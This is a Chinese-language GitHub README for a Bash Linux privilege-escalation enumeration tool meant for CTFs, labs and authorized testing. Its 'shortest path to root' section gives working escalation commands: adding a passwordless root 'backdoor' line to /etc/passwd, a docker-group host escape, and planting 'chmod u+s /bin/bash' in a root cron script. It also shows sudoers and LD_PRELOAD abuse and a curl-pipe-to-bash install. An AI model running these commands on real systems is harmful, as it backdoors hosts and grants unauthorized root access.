0xiamshadow/pe-scout

GitHub: 0xiamshadow/pe-scout

一款纯 Bash 编写的 Linux 提权枚举工具,通过智能过滤误报并聚焦真实可利用漏洞,帮助用户快速找到通往 root 的最短路径。

Stars: 0 | Forks: 0

# 🐧 Linux 提权枚举工具 (LPE-Tool) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![Platform: Linux](https://img.shields.io/badge/Platform-Linux-blue.svg)]() [![Language: Bash](https://img.shields.io/badge/Language-Bash-green.svg)]() ## 📋 目录 - [概述](#overview) - [功能](#features) - [安装说明](#installation) - [用法](#usage) - [枚举方法](#enumeration-methods) - [真实漏洞检测](#real-vulnerability-detection) - [通往 Root 的最短路径](#shortest-path-to-root) - [输出格式](#output-format) - [截图](#screenshots) - [为什么选择这个工具?](#why-this-tool) - [贡献](#contributing) - [免责声明](#disclaimer) - [许可证](#license) ## 🎯 概述 本工具是一个**单文件 Bash 脚本**,可在 Linux 系统上执行系统化枚举,以识别潜在的提权向量。与其他会向您发送大量误报的工具不同,此脚本专注于**可操作的真实漏洞**,并提供明确的严重性评级。 **目标受众:** - 🟢 **初学者** —— 通过颜色编码的输出,逐步学习 privesc 枚举 - 🔴 **高级用户** —— 快速、隐蔽的枚举,提供聚焦的结果 - 🟡 **CTF 选手** —— 快速获胜并找到通往 root 的最短路径 - 🔵 **红队成员** —— 适用于真实实战的低噪声枚举 ## ✨ 功能 | 功能 | 描述 | |---------|-------------| | 🔍 **智能枚举** | 仅根据用户上下文检查相关向量 | | 🎨 **颜色编码输出** | 绿色 (高危)、黄色 (中危)、红色 (严重) 严重性 | | 🚀 **快速模式** | 使用 `-f` 标志跳过耗时的检查 | | 📝 **日志导出** | 将结果保存到文件以供报告 | | 🧠 **智能过滤** | 抑制其他工具中常见的误报 | | 🛡️ **安全执行** | 只读枚举 —— 不修改系统 | | 📦 **零依赖** | 纯 Bash 编写 —— 可在任何 Linux 系统上运行 | | 🌐 **多发行版支持** | Debian, Ubuntu, CentOS, RHEL, Arch, Alpine 等 | ## 📥 安装说明 ### 方法 1:直接下载 (推荐) ``` # 下载脚本 curl -O https://raw.githubusercontent.com/0xiamshadow/pe-scout/main/lpe-enumeration.sh # 使其可执行 chmod +x lpe-enumeration.sh ``` ### 方法 2:克隆仓库 ``` git clone https://github.com/0xiamshadow/pe-scout.git cd pe-scout chmod +x lpe-enumeration.sh ``` ### 方法 3:快速单行命令 ``` curl -sL https://raw.githubusercontent.com/0xiamshadow/pe-scout/main/lpe-enumeration.sh | bash ``` ## 🚀 用法 ### 基本用法 ``` ./lpe-enumeration.sh ``` ### 快速模式 (跳过耗时的检查) ``` ./lpe-enumeration.sh -f ``` ### 将输出保存到文件 ``` ./lpe-enumeration.sh -o results.txt ``` ### 详细模式 (显示所有检查) ``` ./lpe-enumeration.sh -v ``` ### 帮助菜单 ``` ./lpe-enumeration.sh -h ``` ### 所有选项 ``` Usage: ./lpe-enumeration.sh [OPTIONS] Options: -f, --fast Skip time-consuming checks (faster execution) -v, --verbose Show all checks including informational -o, --output FILE Save output to specified file -h, --help Display this help menu --no-color Disable colored output ``` ## 🔬 枚举方法 该工具使用多种枚举技术来收集系统情报: ### 1. **系统信息** - Kernel 版本与发行版详细信息 - CPU 架构 - 环境变量 - 正在运行的进程 ### 2. **用户与组枚举** - 当前用户权限 (`id`, `whoami`) - Sudo 权限 (`sudo -l`) - 组成员身份 - 拥有登录 shell 的用户 - 密码策略 ### 3. **文件权限** - SUID/SGID 二进制文件 - 全局可写文件 - 可写的配置文件 - `.bash_history` 分析 - SSH 密钥与 authorized_keys ### 4. **进程与服务枚举** - 以 root 身份运行的进程 - Cron 任务与计划任务 - Systemd 服务 - 可写的服务文件 ### 5. **网络枚举** - 网络接口 - 开放端口 - 防火墙规则 - Docker socket 访问权限 ### 6. **Kernel 与软件** - Kernel exploit 提示器 - 已安装的包版本 - 存在漏洞的软件检测 - Capabilities (`getcap`) ### 7. **环境与配置** - PATH 变量分析 - LD_PRELOAD / LD_LIBRARY_PATH - Sudo token 劫持可能性 - 可写的 PATH 目录 ## 🚨 真实漏洞检测 此工具专注于**实际可利用的条件**,而非理论上的配置错误: ### ✅ 检测到的漏洞 (真实 Exploit) | 向量 | 可利用性 | 提权命令 | |--------|---------------|---------------------| | **SUID 二进制文件滥用** | 高危 | `find / -perm -4000 2>/dev/null` → 使用 GTFOBins | | **可写的 /etc/passwd** | 严重 | `echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd` | | **Sudo NOPASSWD** | 严重 | `sudo -l` → `sudo /bin/bash` | | **Cron 任务劫持** | 高危 | 修改可写的 cron 脚本 | | **Docker 组成员** | 严重 | `docker run -v /:/host -it ubuntu chroot /host /bin/bash` | | **可写的 Sudoers** | 严重 | 添加 `user ALL=(ALL) NOPASSWD: ALL` | | **Kernel Exploit** | 高危 | 编译并运行匹配的 CVE exploit | | **Capabilities 滥用** | 高危 | `getcap -r / 2>/dev/null` → 滥用 `cap_setuid` | | **PATH 劫持** | 中危 | 在可写的 PATH 目录中创建恶意二进制文件 | | **Sudo 下的 LD_PRELOAD** | 高危 | `sudo LD_PRELOAD=/tmp/pe.so ` | ### ❌ 过滤掉的误报 该工具故意**抑制**了这些常见的误报: - 全局可写的 `/tmp` 或 `/var/tmp` (Linux 上的正常现象) - 标准 SUID 二进制文件 (`ping`, `passwd`, `su`) - 不可利用的环境变量 - 系统软件包的默认 cron 任务 - 标准 systemd 服务 ## ⚡ 通往 Root 的最短路径 基于对枚举输出的分析,以下是通往 root 的**真实最短路径**: ### 🥇 路径 1:Sudo 配置错误 (最快 —— 30 秒) ``` # 检查是否可以在没有密码的情况下以 root 身份运行任何命令 sudo -l # 如果你看到 (ALL) NOPASSWD: /bin/bash 或类似内容: sudo /bin/bash # 或者 sudo -i ``` ### 🥈 路径 2:SUID 二进制文件滥用 (1-2 分钟) ``` # 查找 SUID 二进制文件 find / -perm -4000 2>/dev/null # 检查 GTFOBins 获取利用方法 # 使用 'find' 的示例: find . -exec /bin/sh -p \; -quit ``` ### 🥉 路径 3:可写的 /etc/passwd (1 分钟) ``` # 检查 /etc/passwd 是否可写 ls -la /etc/passwd # 如果可写,添加一个 root 用户: echo 'backdoor::0:0::/root:/bin/bash' >> /etc/passwd su - backdoor ``` ### 🏅 路径 4:Docker 组 (30 秒) ``` # 检查你是否在 docker 组中 id | grep docker # 如果是,逃逸到宿主机: docker run -v /:/host -it alpine chroot /host /bin/bash ``` ### 🏅 路径 5:Cron 任务劫持 (2-5 分钟) ``` # 检查可写的 cron 脚本 ls -la /etc/cron* /var/spool/cron/* # 如果某个脚本你可以写入,修改它: echo 'chmod u+s /bin/bash' >> /path/to/cron/script # 等待 cron 执行,然后: /bin/bash -p ``` ## 📊 输出格式 ``` ╔══════════════════════════════════════════════════════════════╗ ║ LINUX PRIVILEGE ESCALATION ENUMERATION TOOL ║ ╚══════════════════════════════════════════════════════════════╝ [+] SYSTEM INFORMATION ├─ Kernel: 5.4.0-80-generic ├─ Distribution: Ubuntu 20.04.2 LTS └─ Architecture: x86_64 [+] USER INFORMATION ├─ Current User: www-data ├─ UID: 33 ├─ Groups: www-data(33) └─ Sudo Rights: None [!] CRITICAL FINDINGS ├─ [CRITICAL] SUID binary 'find' found at /usr/bin/find ├─ [HIGH] Writable /opt/backup.sh (root cron job) └─ [MEDIUM] Docker socket accessible [+] SUDO PERMISSIONS └─ No sudo access detected [+] SUID BINARIES ├─ /usr/bin/find → GTFOBins: find | SUID ├─ /usr/bin/nano → GTFOBins: nano | SUID └─ /usr/bin/vim → GTFOBins: vim | SUID [+] CRON JOBS └─ */5 * * * * root /opt/backup.sh → WRITABLE BY USER! [+] RECOMMENDED EXPLOIT PATH └─ 1. Modify /opt/backup.sh → Wait 5 min → Get root shell ``` ## 📸 截图 *在此添加展示该工具在不同系统上运行的截图* ## 🏆 为什么选择这个工具? | 方面 | 本工具 | LinPEAS | LinEnum | 手动 | |--------|-----------|---------|---------|--------| | **速度** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐ | | **误报率** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐⭐ | | **对初学者友好** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐ | | **隐蔽性** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | | **可操作性输出** | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ | | **依赖** | ⭐⭐⭐⭐⭐ (0) | ⭐⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | ## ⚠️ 免责声明 **本工具仅供教育和授权测试使用。** - ✅ 仅在您**拥有**或获得**明确书面许可**进行测试的系统上使用 - ✅ 非常适合 CTF、实验室和学习环境 - ❌ **严禁**在未经授权的情况下用于生产系统 - ❌ **严禁**用于恶意目的 作者对滥用本工具或由此造成的损害**概不负责**。**您需对自己的行为负责。** ## 📜 许可证 本项目基于 MIT License 授权 - 有关详细信息,请参阅 [LICENSE](LICENSE) 文件。 ## 📞 联系与支持 - 🐛 **Bug 报告:** [GitHub Issues](https://github.com/0xiamshadow/pe-scout/issues) - 💡 **功能请求:** [GitHub Discussions](https://github.com/0xiamshadow/pe-scout/discussions) - 📧 **邮箱:** iam.ahmad.in@gmail.com **如果您觉得这个工具有用,请给本仓库点个 Star!**

祝您 Hacking 愉快! 🐱‍💻
“枚举是每次成功提权的关键。”

标签:Bash, Web报告查看器, 协议分析, 应用安全, 无线安全, 权限提升